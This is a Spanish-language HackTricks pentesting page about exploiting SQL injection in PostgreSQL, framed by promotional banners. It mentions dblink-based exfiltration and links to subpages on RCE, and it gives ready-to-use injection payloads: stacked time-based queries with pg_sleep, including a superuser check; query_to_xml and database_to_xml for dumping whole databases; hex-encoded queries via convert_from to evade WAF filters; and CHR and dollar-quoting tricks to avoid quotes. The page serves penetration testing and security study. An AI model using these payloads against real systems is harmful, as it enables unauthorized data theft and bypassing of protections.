.. | ||
big-binary-files-upload-postgresql.md | ||
dblink-lo_import-data-exfiltration.md | ||
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md | ||
pl-pgsql-password-bruteforce.md | ||
rce-with-postgresql-extensions.md | ||
rce-with-postgresql-languages.md | ||
README.md |
Inyección en PostgreSQL
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de HackTricks y HackTricks Cloud.
Consejo para cazar recompensas: regístrate en Intigriti, una plataforma premium de caza de recompensas creada por hackers, para hackers. Únete a nosotros en https://go.intigriti.com/hacktricks hoy y comienza a ganar recompensas de hasta $100,000.
{% embed url="https://go.intigriti.com/hacktricks" %}
Esta página tiene como objetivo explicar diferentes trucos que podrían ayudarte a explotar una SQLinjection encontrada en una base de datos postgresql y complementar los trucos que puedes encontrar en https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Interacción de red - Escalada de privilegios, Escáner de puertos, divulgación de respuesta de desafío NTLM y Exfiltración
dblink
es un módulo de PostgreSQL que ofrece varias opciones interesantes desde el punto de vista del atacante. Se puede utilizar para conectar a otras instancias de PostgreSQL o realizar conexiones TCP.
Estas funcionalidades junto con la funcionalidad COPY FROM
pueden ser utilizadas para escalar privilegios, realizar escaneo de puertos o capturar respuestas de desafío NTLM.
Puedes leer aquí cómo realizar estos ataques.
Ejemplo de exfiltración usando dblink y objetos grandes
Puedes leer este ejemplo para ver un ejemplo de CTF de cómo cargar datos dentro de objetos grandes y luego exfiltrar el contenido de objetos grandes dentro del nombre de usuario de la función dblink_connect
.
Ataques en PostgreSQL: Lectura/escritura, RCE, privesc
Consulta cómo comprometer el host y escalar privilegios desde PostgreSQL en:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}
Evasión de WAF
Funciones de cadena de PostgreSQL
Manipular cadenas podría ayudarte a evadir WAFs u otras restricciones.
En esta página puedes encontrar algunas funciones de cadenas útiles.
Consultas apiladas
Recuerda que postgresql soporta consultas apiladas, pero varias aplicaciones arrojarán un error si se devuelven 2 respuestas cuando solo se espera 1. Sin embargo, aún puedes abusar de las consultas apiladas a través de la inyección de tiempo:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
Trucos XML
query_to_xml
Esta función devolverá todos los datos en formato XML en un solo archivo. Es ideal si quieres volcar una gran cantidad de datos en solo 1 fila:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Esta función volcará toda la base de datos en formato XML en solo 1 fila (ten cuidado si la base de datos es muy grande ya que podrías causar un DoS o incluso afectar a tu propio cliente):
SELECT database_to_xml(true,true,'');
Cadenas en Hexadecimal
Si puedes ejecutar consultas pasándolas dentro de una cadena (por ejemplo, utilizando la función query_to_xml
). Puedes usar convert_from para pasar la cadena como hexadecimal y así evitar filtros:
{% code overflow="wrap" %}
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
{% endcode %}
### Comillas prohibidas
Si no puedes usar comillas para tu payload, puedes sortear esto con `CHR` para cláusulas básicas (_la concatenación de caracteres solo funciona para consultas básicas como SELECT, INSERT, DELETE, etc. No funciona para todas las sentencias SQL_):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
O con $
. Estas consultas devuelven los mismos resultados:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
**Consejo para cazar recompensas**: **regístrate** en **Intigriti**, una plataforma de cazar recompensas premium **creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta ser un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>